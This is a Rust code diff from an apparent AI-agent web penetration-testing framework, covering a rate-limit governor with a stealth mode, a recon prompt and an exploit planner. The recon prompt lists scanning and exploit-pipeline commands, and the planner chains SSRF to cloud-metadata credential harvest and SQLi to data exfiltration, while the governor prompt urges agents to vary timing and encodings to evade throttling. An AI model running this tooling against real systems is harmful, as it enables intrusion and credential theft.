requests_this_minute: 0,
|
||||
minute_start: Instant::now(),
|
||||
backoff_level: 0,
|
||||
consecutive_429s: 0,
|
||||
consecutive_503s: 0,
|
||||
rate_limit_remaining: None,
|
||||
rate_limit_reset: None,
|
||||
total_requests: 0,
|
||||
total_throttled: 0,
|
||||
blocked: false,
|
||||
block_reason: String::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct CachedResponse {
|
||||
body_hash: u64,
|
||||
status: u16,
|
||||
cached_at: Instant,
|
||||
hit_count: u32,
|
||||
}
|
||||
|
||||
#[derive(Debug, Default)]
|
||||
struct GlobalStats {
|
||||
total_requests: u64,
|
||||
total_cached: u64,
|
||||
total_throttled: u64,
|
||||
total_blocked: u64,
|
||||
active_requests: u32,
|
||||
}
|
||||
|
||||
/// Decision the governor makes for a request.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum RequestDecision {
|
||||
/// Proceed immediately.
|
||||
Allow,
|
||||
/// Wait this many milliseconds before proceeding.
|
||||
Delay(u64),
|
||||
/// Use cached response instead.
|
||||
UseCached { status: u16, body_hash: u64 },
|
||||
/// Request blocked — host is rate-limited or banned.
|
||||
Block { reason: String },
|
||||
}
|
||||
|
||||
/// What happened when a response came back.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ResponseSignal {
|
||||
pub host: String,
|
||||
pub status: u16,
|
||||
pub headers: HashMap<String, String>,
|
||||
pub elapsed_ms: u64,
|
||||
pub request_hash: u64,
|
||||
pub body_hash: u64,
|
||||
}
|
||||
|
||||
impl NoiseGovernor {
|
||||
pub fn new(config: GovernorConfig) -> Self {
|
||||
Self {
|
||||
config,
|
||||
hosts: HashMap::new(),
|
||||
cache: HashMap::new(),
|
||||
global_stats: GlobalStats::default(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Ask the governor whether to proceed with a request.
|
||||
pub fn check(&mut self, host: &str, request_hash: u64) -> RequestDecision {
|
||||
// Check cache first
|
||||
if let Some(cached) = self.cache.get(&request_hash) {
|
||||
if cached.cached_at.elapsed() < Duration::from_secs(self.config.cache_ttl_secs) {
|
||||
self.global_stats.total_cached += 1;
|
||||
return RequestDecision::UseCached {
|
||||
status: cached.status,
|
||||
body_hash: cached.body_hash,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
let state = self.hosts.entry(host.to_string()).or_default();
|
||||
|
||||
// Host is blocked
|
||||
if state.blocked {
|
||||
self.global_stats.total_blocked += 1;
|
||||
return RequestDecision::Block {
|
||||
reason: state.block_reason.clone(),
|
||||
};
|
||||
}
|
||||
|
||||
// Check concurrent limit
|
||||
if self.global_stats.active_requests >= self.config.max_concurrent {
|
||||
return RequestDecision::Delay(100);
|
||||
}
|
||||
|
||||
// Reset per-minute counter
|
||||
if state.minute_start.elapsed() >= Duration::from_secs(60) {
|
||||
state.requests_this_minute = 0;
|
||||
state.minute_start = Instant::now();
|
||||
}
|
||||
|
||||
// RPM limit
|
||||
if state.requests_this_minute >= self.config.max_rpm {
|
||||
let wait = 60_000u64.saturating_sub(state.minute_start.elapsed().as_millis() as u64);
|
||||
return RequestDecision::Delay(wait.max(1000));
|
||||
}
|
||||
|
||||
// Rate limit header tracking
|
||||
if let Some(remaining) = state.rate_limit_remaining {
|
||||
if remaining == 0 {
|
||||
let reset = state.rate_limit_reset.unwrap_or(30);
|
||||
return RequestDecision::Delay(reset * 1000);
|
||||
}
|
||||
}
|
||||
|
||||
// Backoff delay
|
||||
let base = if self.config.stealth { self.config.base_delay_ms * 2 } else { self.config.base_delay_ms };
|
||||
let backoff_delay = if state.backoff_level > 0 {
|
||||
(base * 2u64.pow(state.backoff_level.min(6))).min(self.config.max_delay_ms)
|
||||
} else {
|
||||
base
|
||||
};
|
||||
|
||||
// Time since last request
|
||||
let since_last = state.last_request.elapsed().as_millis() as u64;
|
||||
if since_last < backoff_delay {
|
||||
let jitter = jitter_ms(self.config.jitter, backoff_delay);
|
||||
return RequestDecision::Delay(backoff_delay - since_last + jitter);
|
||||
}
|
||||
|
||||
// Good to go
|
||||
state.last_request = Instant::now();
|
||||
state.requests_this_minute += 1;
|
||||
state.total_requests += 1;
|
||||
self.global_stats.total_requests += 1;
|
||||
self.global_stats.active_requests += 1;
|
||||
|
||||
RequestDecision::Allow
|
||||
}
|
||||
|
||||
/// Feed a response back to the governor.
|
||||
pub fn observe(&mut self, signal: ResponseSignal) {
|
||||
self.global_stats.active_requests = self.global_stats.active_requests.saturating_sub(1);
|
||||
|
||||
let state = self.hosts.entry(signal.host.clone()).or_default();
|
||||
|
||||
// Parse rate limit headers
|
||||
if let Some(remaining) = signal.headers.get("x-ratelimit-remaining")
|
||||
.or_else(|| signal.headers.get("ratelimit-remaining"))
|
||||
.or_else(|| signal.headers.get("x-rate-limit-remaining"))
|
||||
{
|
||||
state.rate_limit_remaining = remaining.parse().ok();
|
||||
}
|
||||
if let Some(reset) = signal.headers.get("x-ratelimit-reset")
|
||||
.or_else(|| signal.headers.get("ratelimit-reset"))
|
||||
.or_else(|| signal.headers.get("x-rate-limit-reset"))
|
||||
{
|
||||
state.rate_limit_reset = reset.parse().ok();
|
||||
}
|
||||
if let Some(retry_after) = signal.headers.get("retry-after") {
|
||||
if let Ok(secs) = retry_after.parse::<u64>() {
|
||||
state.rate_limit_reset = Some(secs);
|
||||
}
|
||||
}
|
||||
|
||||
match signal.status {
|
||||
429 => {
|
||||
state.consecutive_429s += 1;
|
||||
state.backoff_level = (state.backoff_level + 1).min(8);
|
||||
state.total_throttled += 1;
|
||||
self.global_stats.total_throttled += 1;
|
||||
|
||||
if state.consecutive_429s >= 10 {
|
||||
state.blocked = true;
|
||||
state.block_reason = "Too many 429 responses — host rate-limiting aggressively".into();
|
||||
}
|
||||
}
|
||||
503 => {
|
||||
state.consecutive_503s += 1;
|
||||
state.backoff_level = (state.backoff_level + 1).min(6);
|
||||
|
||||
if state.consecutive_503s >= 5 {
|
||||
state.blocked = true;
|
||||
state.block_reason = "Service unavailable — backing off to avoid DoS".into();
|
||||
}
|
||||
}
|
||||
200..=399 => {
|
||||
state.consecutive_429s = 0;
|
||||
state.consecutive_503s = 0;
|
||||
if state.backoff_level > 0 { state.backoff_level -= 1; }
|
||||
}
|
||||
_ => {
|
||||
state.consecutive_429s = 0;
|
||||
}
|
||||
}
|
||||
|
||||
// Cache the response
|
||||
self.cache.insert(signal.request_hash, CachedResponse {
|
||||
body_hash: signal.body_hash,
|
||||
status: signal.status,
|
||||
cached_at: Instant::now(),
|
||||
hit_count: 0,
|
||||
});
|
||||
}
|
||||
|
||||
/// Reset backoff for a host (e.g. after a manual delay).
|
||||
pub fn reset_host(&mut self, host: &str) {
|
||||
if let Some(state) = self.hosts.get_mut(host) {
|
||||
state.backoff_level = 0;
|
||||
state.consecutive_429s = 0;
|
||||
state.consecutive_503s = 0;
|
||||
state.blocked = false;
|
||||
state.block_reason.clear();
|
||||
}
|
||||
}
|
||||
|
||||
/// Generate a statistics summary.
|
||||
pub fn stats_summary(&self) -> GovernorStats {
|
||||
GovernorStats {
|
||||
total_requests: self.global_stats.total_requests,
|
||||
total_cached: self.global_stats.total_cached,
|
||||
total_throttled: self.global_stats.total_throttled,
|
||||
total_blocked: self.global_stats.total_blocked,
|
||||
active_requests: self.global_stats.active_requests,
|
||||
hosts_tracked: self.hosts.len(),
|
||||
hosts_blocked: self.hosts.values().filter(|h| h.blocked).count(),
|
||||
cache_entries: self.cache.len(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Generate a prompt block summarizing throttling state.
|
||||
pub fn prompt_block(&self) -> String {
|
||||
let stats = self.stats_summary();
|
||||
if stats.total_requests == 0 { return String::new(); }
|
||||
|
||||
let mut s = format!("NOISE GOVERNOR: {} requests, {} cached, {} throttled",
|
||||
stats.total_requests, stats.total_cached, stats.total_throttled);
|
||||
|
||||
let throttled_hosts: Vec<(&String, &HostState)> = self.hosts.iter()
|
||||
.filter(|(_, h)| h.backoff_level > 0 || h.blocked)
|
||||
.collect();
|
||||
|
||||
if !throttled_hosts.is_empty() {
|
||||
s.push_str("\nThrottled hosts:\n");
|
||||
for (host, state) in &throttled_hosts {
|
||||
if state.blocked {
|
||||
s.push_str(&format!(" {host}: BLOCKED — {}\n", state.block_reason));
|
||||
} else {
|
||||
s.push_str(&format!(" {host}: backoff level {} ({} throttled)\n",
|
||||
state.backoff_level, state.total_throttled));
|
||||
}
|
||||
}
|
||||
s.push_str("IMPORTANT: Adapt request patterns — use different endpoints, vary timing, try alternative encodings.\n");
|
||||
}
|
||||
|
||||
s
|
||||
}
|
||||
|
||||
/// Clean up expired cache entries.
|
||||
pub fn gc(&mut self) {
|
||||
let ttl = Duration::from_secs(self.config.cache_ttl_secs);
|
||||
self.cache.retain(|_, v| v.cached_at.elapsed() < ttl);
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct GovernorStats {
|
||||
pub total_requests: u64,
|
||||
pub total_cached: u64,
|
||||
pub total_throttled: u64,
|
||||
pub total_blocked: u64,
|
||||
pub active_requests: u32,
|
||||
pub hosts_tracked: usize,
|
||||
pub hosts_blocked: usize,
|
||||
pub cache_entries: usize,
|
||||
}
|
||||
|
||||
fn jitter_ms(jitter_factor: f64, base: u64) -> u64 {
|
||||
if jitter_factor <= 0.0 { return 0; }
|
||||
let max_jitter = (base as f64 * jitter_factor) as u64;
|
||||
if max_jitter == 0 { return 0; }
|
||||
// Simple deterministic jitter based on current time nanos
|
||||
let nanos = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.subsec_nanos() as u64;
|
||||
nanos % max_jitter
|
||||
}
|
||||
|
||||
/// Compute a stable hash for a request (method + url + body).
|
||||
pub fn request_hash(method: &str, url: &str, body: &str) -> u64 {
|
||||
use std::hash::{Hash, Hasher};
|
||||
let mut hasher = std::collections::hash_map::DefaultHasher::new();
|
||||
method.hash(&mut hasher);
|
||||
url.hash(&mut hasher);
|
||||
body.hash(&mut hasher);
|
||||
hasher.finish()
|
||||
}
|
||||
|
||||
/// Compute a hash for a response body.
|
||||
pub fn body_hash(body: &str) -> u64 {
|
||||
use std::hash::{Hash, Hasher};
|
||||
let mut hasher = std::collections::hash_map::DefaultHasher::new();
|
||||
body.hash(&mut hasher);
|
||||
hasher.finish()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_governor_allow() {
|
||||
let mut gov = NoiseGovernor::new(GovernorConfig { base_delay_ms: 0, ..Default::default() });
|
||||
let decision = gov.check("example.com", 12345);
|
||||
assert!(matches!(decision, RequestDecision::Allow));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_governor_backoff_on_429() {
|
||||
let mut gov = NoiseGovernor::new(GovernorConfig::default());
|
||||
gov.observe(ResponseSignal {
|
||||
host: "example.com".into(),
|
||||
status: 429,
|
||||
headers: HashMap::new(),
|
||||
elapsed_ms: 100,
|
||||
request_hash: 1,
|
||||
body_hash: 1,
|
||||
});
|
||||
let state = gov.hosts.get("example.com").unwrap();
|
||||
assert_eq!(state.backoff_level, 1);
|
||||
assert_eq!(state.consecutive_429s, 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_governor_block_after_many_429s() {
|
||||
let mut gov = NoiseGovernor::new(GovernorConfig::default());
|
||||
for i in 0..10 {
|
||||
gov.observe(ResponseSignal {
|
||||
host: "example.com".into(),
|
||||
status: 429,
|
||||
headers: HashMap::new(),
|
||||
elapsed_ms: 100,
|
||||
request_hash: i,
|
||||
body_hash: i,
|
||||
});
|
||||
}
|
||||
let state = gov.hosts.get("example.com").unwrap();
|
||||
assert!(state.blocked);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_governor_cache_hit() {
|
||||
let mut gov = NoiseGovernor::new(GovernorConfig { base_delay_ms: 0, ..Default::default() });
|
||||
gov.observe(ResponseSignal {
|
||||
host: "example.com".into(),
|
||||
status: 200,
|
||||
headers: HashMap::new(),
|
||||
elapsed_ms: 100,
|
||||
request_hash: 42,
|
||||
body_hash: 99,
|
||||
});
|
||||
let decision = gov.check("example.com", 42);
|
||||
assert!(matches!(decision, RequestDecision::UseCached { .. }));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_request_hash_deterministic() {
|
||||
let h1 = request_hash("GET", "https://example.com/api", "");
|
||||
let h2 = request_hash("GET", "https://example.com/api", "");
|
||||
assert_eq!(h1, h2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_stealth_config() {
|
||||
let cfg = GovernorConfig::stealth();
|
||||
assert!(cfg.base_delay_ms >= 1000);
|
||||
assert!(cfg.max_rpm <= 20);
|
||||
assert!(cfg.stealth);
|
||||
}
|
||||
}
|
||||
@@ -138,6 +138,9 @@ const RECON_SYS: &str = "You are an elite web recon specialist on an AUTHORIZED
|
||||
· DNS/TAKEOVER: `dnsx -silent -a -cname -resp < subs`; dangling CNAME → takeover: `cat subs | httpx -silent | nuclei -t takeovers/`.\n\
|
||||
· CLOUD: grep URLs for `s3.amazonaws.com`, `storage.googleapis.com`, `blob.core.windows.net`; `cloud_enum -l targets`.\n\
|
||||
· TARGETED NUCLEI: `nuclei -l live -t exposures/,misconfiguration/,takeovers/ -severity critical,high,medium -silent` (targeted, not noisy mass-scan).\n\
|
||||
· PERMUTATION BRUTEFORCE: `cat subs | dnsgen - | shuffledns -d <apex> -r resolvers.txt -silent` — catches typosquat/dev/staging variants missed by passive.\n\
|
||||
· FAVICON HASH: `curl -s https://<host>/favicon.ico | md5sum` then `shodan search http.favicon.hash:<hash>` — uncovers hidden infrastructure.\n\
|
||||
· HISTORICAL DEEP: `waymore -i <apex> -mode U --no-subs` — deeper historical URL recovery than gau/waybackurls; finds deleted/forgotten endpoints.\n\
|
||||
· PIPELINE example: `subfinder -d <apex> -all -silent | httpx -silent | katana -d 3 -jc | gf sqli | nuclei -t exploits/ -severity critical,high`.\n\
|
||||
Prioritise auth/reset/payment/upload/admin/export flows and the less-hardened subdomains.\n\
|
||||
Base everything on real observed responses — never assume. Reply with a COMPACT JSON object with keys {tech, versions, endpoints, params, apis, auth, js_findings, secrets, hosts, subdomains, wayback_hits, notes}. No prose.";
|
||||
@@ -225,6 +228,29 @@ fn operator_directives(cfg: &RunConfig) -> String {
|
||||
}
|
||||
// What the other agents already observed (structured digest + where to grep).
|
||||
s.push_str(&crate::traces::prompt_block(cfg.workdir.as_deref(), None));
|
||||
// Adaptive payload intelligence: WAF bypass history, target stack, parameter profiles.
|
||||
if let Some(ref workdir) = cfg.workdir {
|
||||
let adapt_path = std::path::Path::new(workdir).join("adaptive-engine.json");
|
||||
if let Ok(engine) = crate::adaptive::AdaptiveEngine::load(&adapt_path) {
|
||||
let block = engine.prompt_block();
|
||||
if !block.is_empty() { s.push_str(&block); }
|
||||
}
|
||||
// Dual graph: asset coverage + exploration state.
|
||||
let graph_dir = std::path::Path::new(workdir).join("graphs");
|
||||
if let Ok(dg) = crate::exploration_graph::DualGraph::load(&graph_dir) {
|
||||
let block = dg.prompt_block();
|
||||
if !block.is_empty() { s.push_str(&block); }
|
||||
}
|
||||
// Planner state: pending intents and queue.
|
||||
let planner_path = std::path::Path::new(workdir).join("planner-todo.json");
|
||||
if planner_path.exists() {
|
||||
let mut planner = crate::planner::Planner::new(crate::planner::PlannerConfig::default());
|
||||
if planner.load_todo(&planner_path).is_ok() {
|
||||
let block = planner.prompt_block();
|
||||
if !block.is_empty() { s.push_str(&block); }
|
||||
}
|
||||
}
|
||||
}
|
||||
if !s.is_empty() {
|
||||
s.push('\n');
|
||||
}
|
||||
|
||||
@@ -0,0 +1,580 @@
|
||||
//! Reactive Planner — event-driven re-planning loop.
|
||||
//!
|
||||
//! The current pipeline runs recon → select agents → exploit → validate once.
|
||||
//! This planner watches the exploration graph and re-plans when:
|
||||
//!
|
||||
//! 1. **New assets discovered** — new endpoints to test
|
||||
//! 2. **Facts emerge** — a reflected param means XSS agents should run
|
||||
//! 3. **Findings chain** — SQLi leads to data access, which leads to privesc
|
||||
//! 4. **Agents fail** — retry with different strategy or model
|
||||
//! 5. **Coverage gaps** — untested surface after initial wave
|
||||
//!
|
||||
//! The planner is stateless per wake: it reads the current graph, compares to
|
||||
//! a persistent todolist, and emits intents. Each intent is one unit of work
|
||||
//! an agent can complete independently.
|
||||
|
||||
use crate::exploration_graph::{DualGraph, ExplorationKind, ExplorationStatus, AssetKind};
|
||||
use crate::adaptive::AdaptiveEngine;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::{BTreeMap, HashSet};
|
||||
|
||||
/// A planner decision: what to do next.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PlannerIntent {
|
||||
pub id: String,
|
||||
pub action: IntentAction,
|
||||
pub target: String,
|
||||
pub agent_hint: String,
|
||||
pub priority: u32,
|
||||
pub rationale: String,
|
||||
pub depends_on: Vec<String>,
|
||||
pub asset_id: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum IntentAction {
|
||||
/// Run a specific exploit agent against a target.
|
||||
Exploit,
|
||||
/// Probe a parameter to understand its behavior.
|
||||
Probe,
|
||||
/// Deeper recon on a discovered asset.
|
||||
Recon,
|
||||
/// Chain from an existing finding.
|
||||
Chain,
|
||||
/// Retry a failed attempt with different strategy.
|
||||
Retry,
|
||||
/// Validate a hint before committing an exploit agent.
|
||||
Validate,
|
||||
/// Fuzz a parameter/endpoint systematically.
|
||||
Fuzz,
|
||||
}
|
||||
|
||||
/// The persistent todolist — survives across planner wakes.
|
||||
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
|
||||
pub struct TodoList {
|
||||
pub items: Vec<TodoItem>,
|
||||
pub completed: HashSet<String>,
|
||||
pub version: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct TodoItem {
|
||||
pub id: String,
|
||||
pub intent: PlannerIntent,
|
||||
pub status: TodoStatus,
|
||||
pub created_at: u64,
|
||||
pub started_at: Option<u64>,
|
||||
pub completed_at: Option<u64>,
|
||||
pub assigned_agent: Option<String>,
|
||||
pub result: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum TodoStatus {
|
||||
#[default]
|
||||
Queued,
|
||||
Assigned,
|
||||
Running,
|
||||
Completed,
|
||||
Failed,
|
||||
Blocked,
|
||||
Skipped,
|
||||
}
|
||||
|
||||
/// Configuration for the planner.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PlannerConfig {
|
||||
pub max_intents_per_wake: usize,
|
||||
pub max_retries: u32,
|
||||
pub coverage_target: f64,
|
||||
pub chain_depth_limit: u32,
|
||||
pub enable_fuzzing: bool,
|
||||
pub enable_probing: bool,
|
||||
pub priority_threshold: u32,
|
||||
}
|
||||
|
||||
impl Default for PlannerConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
max_intents_per_wake: 10,
|
||||
max_retries: 3,
|
||||
coverage_target: 0.8,
|
||||
chain_depth_limit: 4,
|
||||
enable_fuzzing: true,
|
||||
enable_probing: true,
|
||||
priority_threshold: 20,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The planner: reads the graph, emits intents.
|
||||
pub struct Planner {
|
||||
pub config: PlannerConfig,
|
||||
pub todo: TodoList,
|
||||
last_graph_version: u64,
|
||||
}
|
||||
|
||||
impl Planner {
|
||||
pub fn new(config: PlannerConfig) -> Self {
|
||||
Self {
|
||||
config,
|
||||
todo: TodoList::default(),
|
||||
last_graph_version: 0,
|
||||
}
|
||||
}
|
||||
|
||||
/// Wake the planner: inspect the graph and emit new intents.
|
||||
/// Returns empty if nothing changed since last wake.
|
||||
pub fn wake(&mut self, graph: &DualGraph, adaptive: &AdaptiveEngine) -> Vec<PlannerIntent> {
|
||||
if graph.exploration.version == self.last_graph_version {
|
||||
return vec![];
|
||||
}
|
||||
self.last_graph_version = graph.exploration.version;
|
||||
|
||||
let mut intents = Vec::new();
|
||||
|
||||
// 1. Coverage-driven: untested assets need exploration
|
||||
intents.extend(self.coverage_intents(graph));
|
||||
|
||||
// 2. Fact-driven: new facts trigger specialized testing
|
||||
intents.extend(self.fact_driven_intents(graph, adaptive));
|
||||
|
||||
// 3. Finding-driven: chain from confirmed findings
|
||||
intents.extend(self.chain_intents(graph));
|
||||
|
||||
// 4. Hint-driven: investigate unactioned hints
|
||||
intents.extend(self.hint_intents(graph));
|
||||
|
||||
// 5. Retry-driven: failed intents with retry budget
|
||||
intents.extend(self.retry_intents(graph));
|
||||
|
||||
// Deduplicate and prioritize
|
||||
intents.sort_by(|a, b| b.priority.cmp(&a.priority));
|
||||
intents.truncate(self.config.max_intents_per_wake);
|
||||
|
||||
// Add to todolist
|
||||
for intent in &intents {
|
||||
if !self.todo.completed.contains(&intent.id) {
|
||||
self.todo.items.push(TodoItem {
|
||||
id: intent.id.clone(),
|
||||
intent: intent.clone(),
|
||||
status: TodoStatus::Queued,
|
||||
created_at: now(),
|
||||
started_at: None,
|
||||
completed_at: None,
|
||||
assigned_agent: None,
|
||||
result: None,
|
||||
});
|
||||
}
|
||||
}
|
||||
self.todo.version += 1;
|
||||
|
||||
intents
|
||||
}
|
||||
|
||||
/// Claim the next intent from the todolist for an agent.
|
||||
pub fn claim(&mut self, agent: &str) -> Option<PlannerIntent> {
|
||||
let item = self.todo.items.iter_mut()
|
||||
.filter(|i| i.status == TodoStatus::Queued)
|
||||
.filter(|i| i.intent.depends_on.iter().all(|dep| self.todo.completed.contains(dep)))
|
||||
.max_by_key(|i| i.intent.priority)?;
|
||||
|
||||
item.status = TodoStatus::Assigned;
|
||||
item.assigned_agent = Some(agent.to_string());
|
||||
item.started_at = Some(now());
|
||||
Some(item.intent.clone())
|
||||
}
|
||||
|
||||
/// Mark an intent as completed.
|
||||
pub fn complete(&mut self, id: &str, result: &str) {
|
||||
if let Some(item) = self.todo.items.iter_mut().find(|i| i.id == id) {
|
||||
item.status = TodoStatus::Completed;
|
||||
item.completed_at = Some(now());
|
||||
item.result = Some(result.to_string());
|
||||
self.todo.completed.insert(id.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
/// Mark an intent as failed.
|
||||
pub fn fail(&mut self, id: &str, reason: &str) {
|
||||
if let Some(item) = self.todo.items.iter_mut().find(|i| i.id == id) {
|
||||
item.status = TodoStatus::Failed;
|
||||
item.result = Some(reason.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
/// Generate a prompt block summarizing the plan state.
|
||||
pub fn prompt_block(&self) -> String {
|
||||
let queued = self.todo.items.iter().filter(|i| i.status == TodoStatus::Queued).count();
|
||||
let running = self.todo.items.iter().filter(|i| i.status == TodoStatus::Running || i.status == TodoStatus::Assigned).count();
|
||||
let done = self.todo.items.iter().filter(|i| i.status == TodoStatus::Completed).count();
|
||||
let failed = self.todo.items.iter().filter(|i| i.status == TodoStatus::Failed).count();
|
||||
|
||||
if queued + running + done + failed == 0 { return String::new(); }
|
||||
|
||||
let mut s = format!("PLANNER STATE: {queued} queued, {running} running, {done} done, {failed} failed\n");
|
||||
|
||||
let next: Vec<&TodoItem> = self.todo.items.iter()
|
||||
.filter(|i| i.status == TodoStatus::Queued)
|
||||
.take(5)
|
||||
.collect();
|
||||
if !next.is_empty() {
|
||||
s.push_str("Next in queue:\n");
|
||||
for item in next {
|
||||
s.push_str(&format!(" [{:?} P{}] {} -> {}\n",
|
||||
item.intent.action, item.intent.priority,
|
||||
item.intent.agent_hint, item.intent.target));
|
||||
}
|
||||
}
|
||||
|
||||
s
|
||||
}
|
||||
|
||||
/// Save todolist to disk.
|
||||
pub fn save(&self, path: &std::path::Path) -> std::io::Result<()> {
|
||||
let json = serde_json::to_string_pretty(&self.todo)
|
||||
.map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?;
|
||||
std::fs::write(path, json)
|
||||
}
|
||||
|
||||
/// Load todolist from disk.
|
||||
pub fn load_todo(&mut self, path: &std::path::Path) -> std::io::Result<()> {
|
||||
let json = std::fs::read_to_string(path)?;
|
||||
self.todo = serde_json::from_str(&json)
|
||||
.map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ── Internal intent generators ──
|
||||
|
||||
fn coverage_intents(&self, graph: &DualGraph) -> Vec<PlannerIntent> {
|
||||
let coverage = graph.assets.coverage();
|
||||
if coverage >= self.config.coverage_target { return vec![]; }
|
||||
|
||||
graph.assets.untested().iter()
|
||||
.take(self.config.max_intents_per_wake / 2)
|
||||
.enumerate()
|
||||
.map(|(i, asset)| {
|
||||
let agent_hint = match asset.kind {
|
||||
AssetKind::Endpoint => suggest_agent_for_endpoint(&asset.value),
|
||||
AssetKind::Parameter => "param_probe".to_string(),
|
||||
AssetKind::Service => "service_scan".to_string(),
|
||||
_ => "generic_test".to_string(),
|
||||
};
|
||||
PlannerIntent {
|
||||
id: format!("coverage-{}-{}", asset.id, i),
|
||||
action: if self.config.enable_probing { IntentAction::Probe } else { IntentAction::Exploit },
|
||||
target: asset.value.clone(),
|
||||
agent_hint,
|
||||
priority: 60 + (100.0 * (1.0 - coverage)) as u32,
|
||||
rationale: format!("Coverage gap: {:?} '{}' untested (coverage: {:.0}%)",
|
||||
asset.kind, asset.value, coverage * 100.0),
|
||||
depends_on: vec![],
|
||||
asset_id: Some(asset.id.clone()),
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn fact_driven_intents(&self, graph: &DualGraph, adaptive: &AdaptiveEngine) -> Vec<PlannerIntent> {
|
||||
let mut intents = Vec::new();
|
||||
|
||||
// Find recent facts and generate specialized intents
|
||||
let recent_facts: Vec<_> = graph.exploration.nodes.iter()
|
||||
.filter(|n| n.kind == ExplorationKind::Fact && n.status != ExplorationStatus::Superseded)
|
||||
.collect();
|
||||
|
||||
for fact in recent_facts.iter().take(20) {
|
||||
let content = fact.content.to_lowercase();
|
||||
|
||||
// Reflected input → XSS testing
|
||||
if content.contains("reflect") && !content.contains("filtered") {
|
||||
intents.push(PlannerIntent {
|
||||
id: format!("fact-xss-{}", fact.id),
|
||||
action: IntentAction::Exploit,
|
||||
target: extract_target_from_fact(&fact.content),
|
||||
agent_hint: "xss_reflected".to_string(),
|
||||
priority: 80,
|
||||
rationale: format!("Unfiltered reflection detected: {}", &fact.content[..fact.content.len().min(80)]),
|
||||
depends_on: vec![],
|
||||
asset_id: None,
|
||||
});
|
||||
}
|
||||
|
||||
// SQL error → SQL injection testing
|
||||
if content.contains("sql") && (content.contains("error") || content.contains("syntax")) {
|
||||
intents.push(PlannerIntent {
|
||||
id: format!("fact-sqli-{}", fact.id),
|
||||
action: IntentAction::Exploit,
|
||||
target: extract_target_from_fact(&fact.content),
|
||||
agent_hint: "sqli_union".to_string(),
|
||||
priority: 90,
|
||||
rationale: "SQL error observed — database reachable through input".into(),
|
||||
depends_on: vec![],
|
||||
asset_id: None,
|
||||
});
|
||||
}
|
||||
|
||||
// Stack trace → technology-specific testing
|
||||
if content.contains("stack trace") || content.contains("traceback") {
|
||||
intents.push(PlannerIntent {
|
||||
id: format!("fact-stack-{}", fact.id),
|
||||
action: IntentAction::Exploit,
|
||||
target: extract_target_from_fact(&fact.content),
|
||||
agent_hint: match_tech_agent(&adaptive.stack),
|
||||
priority: 70,
|
||||
rationale: "Stack trace leaks technology — target with stack-specific payloads".into(),
|
||||
depends_on: vec![],
|
||||
asset_id: None,
|
||||
});
|
||||
}
|
||||
|
||||
// Debug/admin endpoint → deeper recon
|
||||
if content.contains("debug") || content.contains("admin") || content.contains("internal") {
|
||||
intents.push(PlannerIntent {
|
||||
id: format!("fact-recon-{}", fact.id),
|
||||
action: IntentAction::Recon,
|
||||
target: extract_target_from_fact(&fact.content),
|
||||
agent_hint: "forced_browsing".to_string(),
|
||||
priority: 75,
|
||||
rationale: "Administrative/debug surface discovered".into(),
|
||||
depends_on: vec![],
|
||||
asset_id: None,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
intents
|
||||
}
|
||||
|
||||
fn chain_intents(&self, graph: &DualGraph) -> Vec<PlannerIntent> {
|
||||
let mut intents = Vec::new();
|
||||
let findings: Vec<_> = graph.exploration.nodes.iter()
|
||||
.filter(|n| n.kind == ExplorationKind::Finding)
|
||||
.collect();
|
||||
|
||||
for finding in findings.iter().take(10) {
|
||||
let content = finding.content.to_lowercase();
|
||||
|
||||
// SSRF → cloud metadata chain
|
||||
if content.contains("ssrf") {
|
||||
intents.push(PlannerIntent {
|
||||
id: format!("chain-ssrf-cloud-{}", finding.id),
|
||||
action: IntentAction::Chain,
|
||||
target: extract_target_from_fact(&finding.content),
|
||||
agent_hint: "gcp_metadata_ssrf".to_string(),
|
||||
priority: 95,
|
||||
rationale: "SSRF confirmed — chain to cloud metadata for credential harvest".into(),
|
||||
depends_on: vec![finding.id.clone()],
|
||||
asset_id: None,
|
||||
});
|
||||
}
|
||||
|
||||
// SQLi → data exfiltration chain
|
||||
if content.contains("sql injection") || content.contains("sqli") {
|
||||
intents.push(PlannerIntent {
|
||||
id: format!("chain-sqli-data-{}", finding.id),
|
||||
action: IntentAction::Chain,
|
||||
target: extract_target_from_fact(&finding.content),
|
||||
agent_hint: "sqli_data_exfil".to_string(),
|
||||
priority: 90,
|
||||
